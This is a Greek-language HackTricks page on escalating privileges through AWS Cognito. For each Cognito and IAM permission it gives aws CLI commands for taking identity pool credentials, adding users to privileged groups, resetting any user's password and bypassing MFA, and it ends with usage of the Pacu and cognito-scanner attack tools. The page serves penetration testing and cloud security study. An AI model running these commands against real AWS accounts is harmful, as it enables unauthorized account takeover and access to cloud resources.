AWS - Cognito Privesc

Μάθετε το hacking στο AWS από το μηδέν μέχρι τον επαγγελματία με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Cognito

Για περισσότερες πληροφορίες σχετικά με το Cognito, ελέγξτε:

pageAWS - Cognito Enum

Συλλογή διαπιστευτηρίων από το Identity Pool

Καθώς το Cognito μπορεί να χορηγήσει διαπιστευτήρια ρόλου IAM τόσο σε επαληθευμένους όσο και σε μη επαληθευμένους χρήστες, αν εντοπίσετε το Identity Pool ID μιας εφαρμογής (πρέπει να είναι καταχωρημένο σε αυτήν) μπορείτε να αποκτήσετε νέα διαπιστευτήρια και, συνεπώς, να ανεβάσετε τα προνόμια (σε έναν λογαριασμό AWS όπου πιθανότατα δεν είχατε κανένα προηγούμενο διαπιστευτήριο).

Για περισσότερες πληροφορίες ελέγξτε αυτήν τη σελίδα.

Πιθανές Επιπτώσεις: Άμεση ανέβασμα προνομίων στον ρόλο υπηρεσιών που είναι συνδεδεμένος με μη επαληθευμένους χρήστες (και πιθανότατα με αυτόν που είναι συνδεδεμένος με επαληθευμένους χρήστες).

aws cognito-identity set-identity-pool-roles \
--identity-pool-id <identity_pool_id> \
--roles unauthenticated=<role ARN>

# Get credentials
## Get one ID
aws cognito-identity get-id --identity-pool-id "eu-west-2:38b294756-2578-8246-9074-5367fc9f5367"
## Get creds for that id
aws cognito-identity get-credentials-for-identity --identity-id "eu-west-2:195f9c73-4789-4bb4-4376-99819b6928374" ole

Εάν η εφαρμογή cognito δεν έχει ενεργοποιημένους μη επαληθευμένους χρήστες, μπορεί να χρειαστεί επίσης η άδεια cognito-identity:UpdateIdentityPool για να το ενεργοποιήσει.

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομίων σε οποιοδήποτε ρόλο cognito.

cognito-identity:update-identity-pool

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να ορίσει, για παράδειγμα, ένα Cognito User Pool υπό τον έλεγχό του ή οποιοδήποτε άλλο πάροχο ταυτότητας όπου μπορεί να συνδεθεί ως τρόπος πρόσβασης σε αυτήν την Cognito Identity Pool. Στη συνέχεια, απλά συνδεόμενος σε αυτόν τον πάροχο χρηστών θα του επιτρέψει να έχει πρόσβαση στον ρόλο που έχει διαμορφωθεί για την ταυτοποίηση στην Identity Pool.

# This example is using a Cognito User Pool as identity provider
## but you could use any other identity provider
aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
[--allow-unauthenticated-identities | --no-allow-unauthenticated-identities] \
--cognito-identity-providers ProviderName=user-pool-id,ClientId=client-id,ServerSideTokenCheck=false

# Now you need to login to the User Pool you have configured
## after having the id token of the login continue with the following commands:

# In this step you should have already an ID Token
aws cognito-identity get-id \
--identity-pool-id <id_pool_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

# Get the identity_id from thr previous commnad response
aws cognito-identity get-credentials-for-identity \
--identity-id <identity_id> \
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>

Είναι επίσης δυνατόν να καταχραστεί αυτή η άδεια για να επιτραπεί η βασική πιστοποίηση:

aws cognito-identity update-identity-pool \
--identity-pool-id <value> \
--identity-pool-name <value> \
--allow-unauthenticated-identities
--allow-classic-flow

Πιθανές Επιπτώσεις: Παραβίαση του διαμορφωμένου εξουσιοδοτημένου ρόλου IAM μέσα στην ομάδα ταυτότητας.

cognito-idp:AdminAddUserToGroup

Αυτή η άδεια επιτρέπει την προσθήκη ενός χρήστη Cognito σε μια ομάδα Cognito, επομένως ένας επιτιθέμενος μπορεί να καταχραστεί αυτήν την άδεια για να προσθέσει έναν χρήστη υπό τον έλεγχό του σε άλλες ομάδες με καλύτερα προνόμια ή διαφορετικούς ρόλους IAM:

aws cognito-idp admin-add-user-to-group \
--user-pool-id <value> \
--username <value> \
--group-name <value>

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων σε άλλες ομάδες Cognito και ρόλους IAM που συνδέονται με τις ομάδες του User Pool.

(cognito-idp:CreateGroup | cognito-idp:UpdateGroup), iam:PassRole

Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να δημιουργήσει/ενημερώσει ομάδες με κάθε ρόλο IAM που μπορεί να χρησιμοποιηθεί από έναν παραβιασμένο Cognito Identity Provider και να καταστήσει έναν παραβιασμένο χρήστη μέλος της ομάδας, έχοντας πρόσβαση σε όλους αυτούς τους ρόλους:

aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>

Πιθανές Επιπτώσεις: Ανέβασμα δικαιωμάτων σε άλλους ρόλους Cognito IAM.

cognito-idp:AdminConfirmSignUp

Αυτή η άδεια επιτρέπει την επαλήθευση εγγραφής. Από προεπιλογή, οποιοσδήποτε μπορεί να εγγραφεί σε εφαρμογές Cognito, αν αυτό παραμείνει έτσι, ένας χρήστης μπορεί να δημιουργήσει έναν λογαριασμό με οποιαδήποτε δεδομένα και να τον επαληθεύσει με αυτήν την άδεια.

aws cognito-idp admin-confirm-sign-up \
--user-pool-id <value> \
--username <value>

Πιθανές Επιπτώσεις: Έμμεση ανέλιξη προνομίων στον ρόλο IAM της ομάδας ταυτοποίησης για εξουσιοδοτημένους χρήστες αν μπορείτε να εγγραφείτε ως νέος χρήστης. Έμμεση ανέλιξη προνομίων σε άλλες λειτουργίες της εφαρμογής μπορώντας να επιβεβαιώσετε οποιονδήποτε λογαριασμό.

cognito-idp:AdminCreateUser

Αυτή η άδεια θα επιτρέπει σε έναν επιτιθέμενο να δημιουργήσει ένα νέο χρήστη μέσα στην ομάδα χρηστών. Ο νέος χρήστης δημιουργείται ως ενεργοποιημένος, αλλά θα πρέπει να αλλάξει τον κωδικό του.

aws cognito-idp admin-create-user \
--user-pool-id <value> \
--username <value> \
[--user-attributes <value>] ([Name=email,Value=email@gmail.com])
[--validation-data <value>]
[--temporary-password <value>]

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων στον ρόλο IAM της πιστοποιημένης χρήστη για την ομάδα ταυτοποίησης. Έμμεση ανέλιξη προνομίων σε άλλες λειτουργίες της εφαρμογής με τη δυνατότητα δημιουργίας οποιουδήποτε χρήστη.

cognito-idp:AdminEnableUser

Αυτές οι άδειες μπορούν να βοηθήσουν σε ένα πολύ συγκεκριμένο σενάριο, όπου ένας επιτιθέμενος βρήκε τα διαπιστευτήρια ενός απενεργοποιημένου χρήστη και χρειάζεται να τον ενεργοποιήσει ξανά.

aws cognito-idp admin-enable-user \
--user-pool-id <value> \
--username <value>

Πιθανές Επιπτώσεις: Έμμεση ανέλιξη προνομίων στον ρόλο IAM της ομάδας ταυτότητας για εξουσιοδοτημένους χρήστες και άδειες του χρήστη εάν ο επιτιθέμενος είχε διαπιστευτήρια για έναν απενεργοποιημένο χρήστη.

cognito-idp:AdminInitiateAuth, cognito-idp:AdminRespondToAuthChallenge

Αυτή η άδεια επιτρέπει την σύνδεση με την μέθοδο ADMIN_USER_PASSWORD_AUTH. Για περισσότερες πληροφορίες ακολουθήστε τον σύνδεσμο.

cognito-idp:AdminSetUserPassword

Αυτή η άδεια θα επιτρέπει σε έναν επιτιθέμενο να αλλάξει τον κωδικό πρόσβασης οποιουδήποτε χρήστη, καθιστώντας τον ικανό να προσωποποιήσει οποιονδήποτε χρήστη (που δεν έχει ενεργοποιημένο το MFA).

aws cognito-idp admin-set-user-password \
--user-pool-id <value> \
--username <value> \
--password <value> \
--permanent

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομιακών δικαιωμάτων προς οποιονδήποτε χρήστη, με πρόσβαση σε όλες τις ομάδες στις οποίες ανήκει ο χρήστης και πρόσβαση στον ρόλο IAM που έχει εξουσιοδοτηθεί από το Identity Pool.

cognito-idp:AdminSetUserSettings | cognito-idp:SetUserMFAPreference | cognito-idp:SetUserPoolMfaConfig | cognito-idp:UpdateUserPool

AdminSetUserSettings: Ένας επιτιθέμενος θα μπορούσε πιθανώς να καταχραστεί αυτήν την άδεια για να ορίσει ένα κινητό τηλέφωνο υπό τον έλεγχό του ως SMS MFA ενός χρήστη.

aws cognito-idp admin-set-user-settings \
--user-pool-id <value> \
--username <value> \
--mfa-options <value>

SetUserMFAPreference: Παρόμοια με την προηγούμενη, αυτή η άδεια μπορεί να χρησιμοποιηθεί για να ορίσει τις προτιμήσεις MFA ενός χρήστη για να παρακάμψει την προστασία MFA.

aws cognito-idp admin-set-user-mfa-preference \
[--sms-mfa-settings <value>] \
[--software-token-mfa-settings <value>] \
--username <value> \
--user-pool-id <value>

SetUserPoolMfaConfig: Παρόμοια με την προηγούμενη, αυτή η άδεια μπορεί να χρησιμοποιηθεί για να ορίσει τις προτιμήσεις MFA ενός χρηστικού πισίνας για να παρακάμψει την προστασία MFA.

aws cognito-idp set-user-pool-mfa-config \
--user-pool-id <value> \
[--sms-mfa-configuration <value>] \
[--software-token-mfa-configuration <value>] \
[--mfa-configuration <value>]

UpdateUserPool: Είναι επίσης δυνατόν να ενημερώσετε την ομάδα χρηστών για να αλλάξετε την πολιτική MFA. Ελέγξτε εδώ το cli.

Πιθανές Επιπτώσεις: Έμμεση ανέλιξη προνομιών προς οποιονδήποτε χρήστη γνωρίζει ο επιτιθέμενος τα διαπιστευτήρια του, αυτό θα μπορούσε να επιτρέψει την παράκαμψη της προστασίας MFA.

cognito-idp:AdminUpdateUserAttributes

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να αλλάξει το email ή τον αριθμό τηλεφώνου ή οποιοδήποτε άλλο χαρακτηριστικό ενός χρήστη υπό τον έλεγχό του για να προσπαθήσει να αποκτήσει περισσότερα προνόμια σε μια υποκείμενη εφαρμογή. Αυτό επιτρέπει την αλλαγή ενός email ή αριθμού τηλεφώνου και την ορισμό του ως επαληθευμένου.

aws cognito-idp admin-update-user-attributes \
--user-pool-id <value> \
--username <value> \
--user-attributes <value>

Πιθανές Επιπτώσεις: Πιθανή έμμεση ανέλιξη προνομίων στην υποκείμενη εφαρμογή χρησιμοποιώντας το Cognito User Pool που παρέχει προνόμια με βάση τα χαρακτηριστικά του χρήστη.

cognito-idp:CreateUserPoolClient | cognito-idp:UpdateUserPoolClient

Ένας επιτιθέμενος με αυτήν την άδεια μπορεί να δημιουργήσει έναν νέο User Pool Client με λιγότερους περιορισμούς από τους ήδη υπάρχοντες πελάτες του pool. Για παράδειγμα, ο νέος πελάτης μπορεί να επιτρέπει οποιαδήποτε μέθοδος πιστοποίησης, να μην έχει κανένα μυστικό, να έχει απενεργοποιημένη την ανάκληση διαπιστευτηρίων, να επιτρέπει την ισχύ των διαπιστευτηρίων για μεγαλύτερο χρονικό διάστημα...

Το ίδιο μπορεί να γίνει και αν αντί για τη δημιουργία ενός νέου πελάτη, τροποποιηθεί ένας υπάρχων.

Στην γραμμή εντολών (ή στην ενημέρωση) μπορείτε να δείτε όλες τις επιλογές, ελέγξτε το!.

aws cognito-idp create-user-pool-client \
--user-pool-id <value> \
--client-name <value> \
[...]

Πιθανή Επίδραση: Πιθανή έμμεση ανέλιξη προνομιακών δικαιωμάτων στον χρήστη που εξουσιοδοτείται από την Identity Pool που χρησιμοποιείται από τον User Pool, δημιουργώντας έναν νέο πελάτη που χαλαρώνει τα μέτρα ασφαλείας και επιτρέπει σε έναν επιτιθέμενο να συνδεθεί με έναν χρήστη που μπορούσε να δημιουργήσει.

cognito-idp:CreateUserImportJob | cognito-idp:StartUserImportJob

Ένας επιτιθέμενος μπορεί να καταχραστεί αυτήν την άδεια για να δημιουργήσει χρήστες ανεβάζοντας ένα αρχείο csv με νέους χρήστες.

# Create a new import job
aws cognito-idp create-user-import-job \
--job-name <value> \
--user-pool-id <value> \
--cloud-watch-logs-role-arn <value>

# Use a new import job
aws cognito-idp start-user-import-job \
--user-pool-id <value> \
--job-id <value>

# Both options before will give you a URL where you can send the CVS file with the users to create
curl -v -T "PATH_TO_CSV_FILE" \
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"

(Στην περίπτωση που δημιουργείτε ένα νέο import job, μπορεί να χρειαστείτε επίσης την άδεια iam passrole, δεν το έχω δοκιμάσει ακόμα).

Πιθανές Επιπτώσεις: Άμεση αύξηση προνομίων στον ρόλο IAM της identity pool για τους εξουσιοδοτημένους χρήστες. Έμμεση αύξηση προνομίων σε άλλες λειτουργίες της εφαρμογής, με δυνατότητα δημιουργίας οποιουδήποτε χρήστη.

cognito-idp:CreateIdentityProvider | cognito-idp:UpdateIdentityProvider

Ένας επιτιθέμενος μπορεί να δημιουργήσει έναν νέο πάροχο ταυτότητας για να μπορεί στη συνέχεια να συνδεθεί μέσω αυτού του παρόχου.

aws cognito-idp create-identity-provider \
--user-pool-id <value> \
--provider-name <value> \
--provider-type <value> \
--provider-details <value> \
[--attribute-mapping <value>] \
[--idp-identifiers <value>]

Πιθανές Επιπτώσεις: Άμεση ανέλιξη προνομίων στον ρόλο IAM της πιστοποίησης για τους εξουσιοδοτημένους χρήστες. Έμμεση ανέλιξη προνομίων σε άλλες λειτουργίες της εφαρμογής με τη δυνατότητα δημιουργίας οποιουδήποτε χρήστη.

Ανάλυση cognito-sync:*

Αυτή είναι μια πολύ συνηθισμένη άδεια από προεπιλογή στους ρόλους των Cognito Identity Pools. Ακόμα κι αν ένας χαρακτήρας μπαλαντέρ σε μια άδεια φαίνεται πάντα κακός (ειδικά από το AWS), οι δεδομένες άδειες δεν είναι πολύ χρήσιμες από την οπτική γωνία των επιτιθέμενων.

Αυτή η άδεια επιτρέπει την ανάγνωση πληροφοριών χρήσης των Identity Pools και των Identity IDs μέσα στα Identity Pools (τα οποία δεν είναι ευαίσθητες πληροφορίες). Τα Identity IDs μπορεί να έχουν Σύνολα Δεδομένων που τους έχουν ανατεθεί, τα οποία είναι πληροφορίες των συνεδριών (το AWS το ορίζει ως ένα αποθηκευμένο παιχνίδι). Μπορεί να είναι δυνατόν να περιέχουν κάποιου είδους ευαίσθητες πληροφορίες (αλλά η πιθανότητα είναι αρκετά χαμηλή). Μπορείτε να βρείτε στη σελίδα απαρίθμησης πώς να έχετε πρόσβαση σε αυτές τις πληροφορίες.

Ένας επιτιθέμενος μπορεί επίσης να χρησιμοποιήσει αυτές τις άδειες για να εγγραφεί σε ένα ρεύμα Cognito που δημοσιεύει αλλαγές σε αυτά τα σύνολα δεδομένων ή ένα λαμβάνον που ενεργοποιείται από γεγονότα Cognito. Δεν έχω δει να χρησιμοποιείται αυτό, και δεν θα περίμενα ευαίσθητες πληροφορίες εδώ, αλλά δεν είναι αδύνατο.

Αυτόματα Εργαλεία

  • Pacu, το πλαίσιο εκμετάλλευσης του AWS, περιλαμβάνει τώρα τα αρθρώματα "cognito__enum" και "cognito__attack" που αυτοματοποιούν την απαρίθμηση όλων των πόρων Cognito σε έναν λογαριασμό και εντοπίζουν αδύναμες διαμορφώσεις, χαρακτηριστικά χρήστη που χρησιμοποιούνται για έλεγχο πρόσβασης, κλπ., και επίσης αυτοματοποιούν τη δημιουργία χρήστη (συμπεριλαμβανομένης της υποστήριξης MFA) και την ανέλιξη προνομίων με βάση τα προσαρμόσιμα προσαρτήματα, τα δυνατά διαπιστευτήρια του πιστοποιητικού ταυτότητας, τους ρόλους που μπορούν να υποθέσουν στα αναγνωριστικά id, κλπ.

Για μια περιγραφή των λειτουργιών των αρθρωμάτων, δείτε το μέρος 2 της ανάρτησης στο blog. Για οδηγίες εγκατάστασης, δείτε την κύρια σελίδα του Pacu.

Χρήση

Δείγμα χρήσης του cognito__attack για να προσπαθήσετε τη δημιουργία χρήστη και όλων των διανυσμάτων ανέλιξης προνομίων εναντίον ενός συγκεκριμένου identity pool και πελάτη πιστοποιητικού ταυτότητας:

Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX

Παράδειγμα χρήσης της εντολής cognito__enum για να συλλέξετε όλα τα user pools, user pool clients, identity pools, χρήστες κλπ. που είναι ορατά στον τρέχοντα λογαριασμό AWS:

Pacu (new:test) > run cognito__enum
  • Cognito Scanner είναι ένα εργαλείο γραμμής εντολών σε python που υλοποιεί διάφορες επιθέσεις στο Cognito, συμπεριλαμβανομένης μιας επέκταση προνομιούχων δικαιωμάτων (privesc).

Εγκατάσταση

$ pip install cognito-scanner

Χρήση

python3 aws_cognito_privesc.py <access_key> <secret_key> <region> <user_pool_id> <client_id> <username>

Χρήση

python3 aws_cognito_privesc.py <access_key> <secret_key> <region> <user_pool_id> <client_id> <username>
$ cognito-scanner --help

Για περισσότερες πληροφορίες ελέγξτε https://github.com/padok-team/cognito-scanner

Μάθετε το hacking του AWS από το μηδέν μέχρι τον ήρωα με το htARTE (HackTricks AWS Red Team Expert)!

Άλλοι τρόποι για να υποστηρίξετε το HackTricks:

Last updated